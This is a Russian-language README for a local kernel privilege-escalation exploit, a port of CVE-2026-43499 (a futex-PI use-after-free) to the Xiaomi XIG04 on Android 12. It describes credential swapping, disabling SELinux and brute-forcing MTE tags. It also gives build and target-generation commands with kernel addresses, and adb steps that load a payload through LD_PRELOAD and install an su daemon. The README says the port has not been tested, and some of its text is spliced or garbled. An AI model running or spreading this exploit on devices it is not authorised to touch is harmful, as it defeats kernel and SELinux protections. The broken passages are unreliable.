
aristotle (au/KDDI Xiaomi XIG04)Локальное повышение привилегий (tmp-root) для au/KDDI Xiaomi «aristotle» (XIG04) на Android 12 через CVE-2026-43499. Это примитив рутинга для владельца устройства: он рутит ваш собственный телефон (например, чтобы снова включить ADB, когда параметры разработчика недоступны).
Это порт aristotle апстрим-реализации:
https://github.com/x-spy/CVE-2026-43499-popsicle — которая нацелена на Xiaomi
17 / Pro / Ultra (popsicle, Snapdragon, Android 16, ядро 6.12.23). Вся
заслуга за технику эксплуатации принадлежит апстриму; этот форк лишь
перенацеливает её на другое устройство и поколение ядра.
Область применения: ваш собственный XIG04 с прошивкой
Xiaomi/XIG04_jp_kdi/XIG04:12/SP1A.210812.016/V14.0.3.0.TMFJPKD. Это не универсальный и не удалённый эксплойт.
device : aristotle (au/KDDI XIG04), MediaTek, Android 12
kernel : 5.10.136-android12-9-00020-gc9f59ef34367-ab9585114 (VA=39, 4K pages, KASLR)
CVE-2026-43499 — это use-after-free в пути Futex-PI ядра Linux:
remove_waiter() в kernel/locking/rtmutex.c во время отката proxy-локировки из
futex_requeue() работает с current вместо waiter::task, оставляя висячий
pi_blocked_on. Это старая, долгоживущая ошибка (затрагивает Linux
2.6.39 – 6.18.x), поэтому используемое здесь ядро 5.10.136 попадает в диапазон
(CONFIG_FUTEX_PI=y, CONFIG_RT_MUTEXES=y). Эксплойт использует data-only
«direct-root» (подмена cred → init_cred, перевод SELinux из enforcing в
permissive) и перебором подбирает теги MTE, чтобы обойти усиленную защиту
устройства (KASAN_HW_TAGS, MTE, , ).
Апстрим нацелен на Snapdragon / Android 16 / ядро 6.12; aristotle — это MediaTek / Android 12 / ядро 5.10, поэтому порт заново выводит всё, что зависит от конкретного устройства:
rt_mutex_waiter — это старая плоская раскладка 5.10 (нет вложенного
rt_waiter_node, нет wake_state/ww_ctx). Таблицы фейковых waiter в
source/src/{slide,fops}.c и source/src/util.c пересобраны с 13 слов до 10.xbl_config. KASLR обходится динамически (утечка информации о ядре в
slide.c); две физические константы, которые апстрим взял из Qualcomm XBL,
заменены статическим базовым адресом DRAM (0x40000000, из device tree) плюс
динамическими memstart_addr / kimage_voffset.ARISTOTLE_CVE43499_PORT.md.Измеренный source/src/target.h для XIG04 уже закоммичен, так что можно сразу
собирать. Чтобы перегенерировать его из boot-образа, используйте генератор
aristotle (без --xbl-config; он выдаёт RVA memstart_addr/kimage_voffset
для динамического использования):
python3 gen_aristotle_target.py \
--boot boot.img \
--pselect-shift 0 \
--loggers 0xffffffc012771380 \
--boot-id-data 0xffffffc012886cf8 \
--kernel-phys-load 0x40080000 \
-o source/src/target.h
(Три якоря и kernel-phys-load — это значения, зашитые в закоммиченный
заголовочный файл; о том, как они были получены, см.
ARISTOTLE_CVE43499_PORT.md.)
Требуются Python 3 и Android NDK (r29). Обязателен API=31, чтобы пейлоад
загружался на Android 12:
make -C source clean preload API=31
Если NDK не определяется автоматически:
NDK_ROOT=/path/to/android-ndk make -C source clean preload API=31
Конечный артефакт:
source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
adb shell '/data/local/tmp/su -c id'
При успехе:
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
direct-root-summary root=1 id=1 su=1/... selinux=1->0 uid=0 euid=0 gid=0 egid=0
preload.so содержит и самостоятельно устанавливает собственный клиент и демон
su при загрузке, поэтому отдельный бинарник su не нужен.
Статус: порт завершён по коду по результатам статического анализа, но ещё не проверен на реальном устройстве. Сначала проверьте срабатывание краша, затем рут — на своём собственном устройстве. Параметры настройки, зависящие от ядра (
MM_ORDER,P0_KERNEL_PHYS_LOAD, поведение плоского waiter), перечислены вARISTOTLE_CVE43499_PORT.md.
CFISCS